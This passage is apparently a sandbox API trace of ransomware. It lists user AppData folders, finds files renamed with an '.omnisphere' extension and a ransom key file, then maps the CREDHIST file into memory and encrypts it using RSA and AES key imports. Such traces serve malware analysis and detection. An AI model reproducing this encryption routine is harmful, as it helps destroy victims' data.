ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Outlook.srs.omnisphere", cAlternateFileName="OUTLOO~1.OMN")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a52133, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26a52133, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a52133, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Outlook.srs.omnisphere.id", cAlternateFileName="OUTLOO~1.ID")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x26ac4959, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xe3a, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Outlook.xml.omnisphere", cAlternateFileName="OUTLOO~2.OMN")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a9e427, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26a9e427, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a9e427, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Outlook.xml.omnisphere.id", cAlternateFileName="OUTLOO~2.ID")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a7824a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26a7824a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ac4959, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a7824a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26a7824a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26ac4959, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0116.730] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0116.730] GetProcessHeap () returned 0x1600000 [0116.730] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe00 | out: hHeap=0x1600000) returned 1 [0116.730] GetProcessHeap () returned 0x1600000 [0116.730] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0116.730] GetProcessHeap () returned 0x1600000 [0116.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163fc00 [0116.730] PathCombineW (in: pszDest=0x163fc00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="PowerPoint" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint" [0116.730] GetProcessHeap () returned 0x1600000 [0116.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x16683d8 [0116.731] PathCombineW (in: pszDest=0x16683d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\*" [0116.731] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0116.731] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0116.731] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0116.731] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0116.731] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0116.731] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0116.732] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0116.732] GetProcessHeap () returned 0x1600000 [0116.732] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16683d8 | out: hHeap=0x1600000) returned 1 [0116.732] GetProcessHeap () returned 0x1600000 [0116.732] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc00 | out: hHeap=0x1600000) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0116.732] GetProcessHeap () returned 0x1600000 [0116.732] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1606e38 [0116.732] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Proof" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof" [0116.732] GetProcessHeap () returned 0x1600000 [0116.732] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163fd00 [0116.732] PathCombineW (in: pszDest=0x163fd00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\*" [0116.732] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0116.733] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0116.733] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0116.733] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0116.733] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0116.733] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0116.733] GetProcessHeap () returned 0x1600000 [0116.733] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd00 | out: hHeap=0x1600000) returned 1 [0116.733] GetProcessHeap () returned 0x1600000 [0116.733] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0116.734] GetProcessHeap () returned 0x1600000 [0116.734] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f480 [0116.734] PathCombineW (in: pszDest=0x163f480, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Protect" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect" [0116.734] GetProcessHeap () returned 0x1600000 [0116.734] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163f500 [0116.734] PathCombineW (in: pszDest=0x163f500, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\*" [0116.734] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0116.734] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a5eb6e1, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a5eb6e1, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b89fccb, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0xdb, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0116.734] GetProcessHeap () returned 0x1600000 [0116.734] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x16336d8 [0116.734] PathCombineW (in: pszDest=0x16336d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", pszFile="CREDHIST" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0116.735] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0116.735] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\credhist"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.735] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=744) returned 1 [0116.735] GetTickCount () returned 0x115d2ec [0116.735] GetTickCount () returned 0x115d2ec [0116.735] GetTickCount () returned 0x115d2ec [0116.735] GetTickCount () returned 0x115d2ec [0116.735] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.736] GetTickCount () returned 0x115d2ec [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] GetTickCount () returned 0x115d2fc [0116.737] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668f88) returned 1 [0116.738] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639b28) returned 1 [0116.738] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0116.738] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.738] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0116.738] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e8, lpName=0x0) returned 0x28c [0116.738] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e8) returned 0x1480000 [0116.739] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x16683d8) returned 1 [0116.739] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16394e8) returned 1 [0116.739] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0116.739] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0116.739] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.740] CryptEncrypt (in: 